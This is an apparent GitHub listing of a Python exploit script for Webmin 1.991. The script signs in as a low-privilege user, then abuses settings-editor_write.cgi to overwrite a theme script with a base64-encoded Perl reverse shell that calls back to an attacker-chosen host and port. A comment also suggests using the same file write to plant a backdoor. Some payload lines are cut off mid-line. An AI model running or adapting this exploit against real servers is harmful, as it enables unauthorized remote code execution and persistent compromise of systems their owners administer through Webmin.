esp0xdeadbeef Update exploit.py History

2 contributors

128 lines (113 sloc) | 3.5 KB

```
#!/usr/bin/python3

# Webmin version 1.991
# "safemode" user privesc / RCE V1s3r1on & esp0xdeadbeef
# Thanks to Raj Chowdhury for supressing errors in the https certs


import requests
import random
import os
import base64
import warnings

s = requests.Session()

warnings.filterwarnings('ignore')
def go_to_homepage(url):
    r = s.get(url, verify = False)
    return r.text


def sign_in(url, username, password):
    credentials = {
        "user":username,
        "pass":password
    }
    headers = {
        "User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
    }
```

```
    r = s.post(
        f"{url}/session_login.cgi",
        data = credentials,
        verify=False,
        cookies = {}
    )
    cookies = {
        'sid': s.cookies['sid']
    }
    return r.text, cookies



def navigate_to_theme(url, r, sid):
    headers = {
        "User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
        "Referer" : f"{url}/",
        "Origin" : url,
        "X-Pjax-Url" : f"{url}/tconfig.cgi",
        "X-Pjax-Container" : "[data-dcontainer]",
        "X-No-Links" : "1",
        "X-Requested-With" : "XMLHttpRequest"
    }
    cookies = {'sid': sid}
    r = s.post(f"{url}/tconfig.cgi", verify=False)
    return r.text

def reverse_shell(url, cookies, target_ip = 'localhost', target_port = 4444):
    payload_str = '''perl -e 'use Socket;$i="''' + str(target_ip) + '''";$p=''' + str(target_port)
    payload = 'system("echo ' + base64.b64encode(payload_str.encode()).decode() + ' | base64 -d |
    print(f'writing payload: \n{payload}')
    headers = {'Referer': url}
    # the file location could be an arbitrary file write (think about a backdoor or something like
    multipart_form_data = {
        "file": '/etc/webmin/authentic-theme/scripts.pl',
        'data': payload
    }
    with s.post(
        url=f'{url}/settings-editor_write.cgi',
        headers = headers,
        cookies = cookies,
        files=multipart_form_data,
        allow_redirects=False
     ) as r:
        if r.status_code == 302:
            return 'exploit was succesfull'
        else:
            return 'exploit was failed'

```

```python
def main():
    go_to_homepage(url)
    result, cookies = sign_in(url, username,password)
    print(reverse_shell(url, cookies, target_ip=rev_host, target_port=rev_port))
    sign_in(url, username,password)

def parse_args():
    import argparse
    parser = argparse.ArgumentParser(prog="python3 exloit.py")
    parser.add_argument(
        '-u','--url',
        required=True,
        type=str,
        default="http://localhost:10000"
    )
    parser.add_argument(
        '-pw','--password',
        required=True,
        type=str,
        default='TestUser'
    )
    parser.add_argument(
        '-un','--username',
        required=True,
        type=str,
        default='Testing123!@#'
    )
    parser.add_argument(
        '-rh','--revhost',
        required=True,
        type=str,
        default='localhost'
    )
    parser.add_argument(
        '-rp','--revport',
        required=True,
        type=int,
        default=4444
    )
    return parser.parse_args()


if __name__ == '__main__':
    args = parse_args()
    url = args.url
    rev_host = args.revhost
    rev_port = args.revport
    username = args.username
    password = args.password
```

```
128     main()
```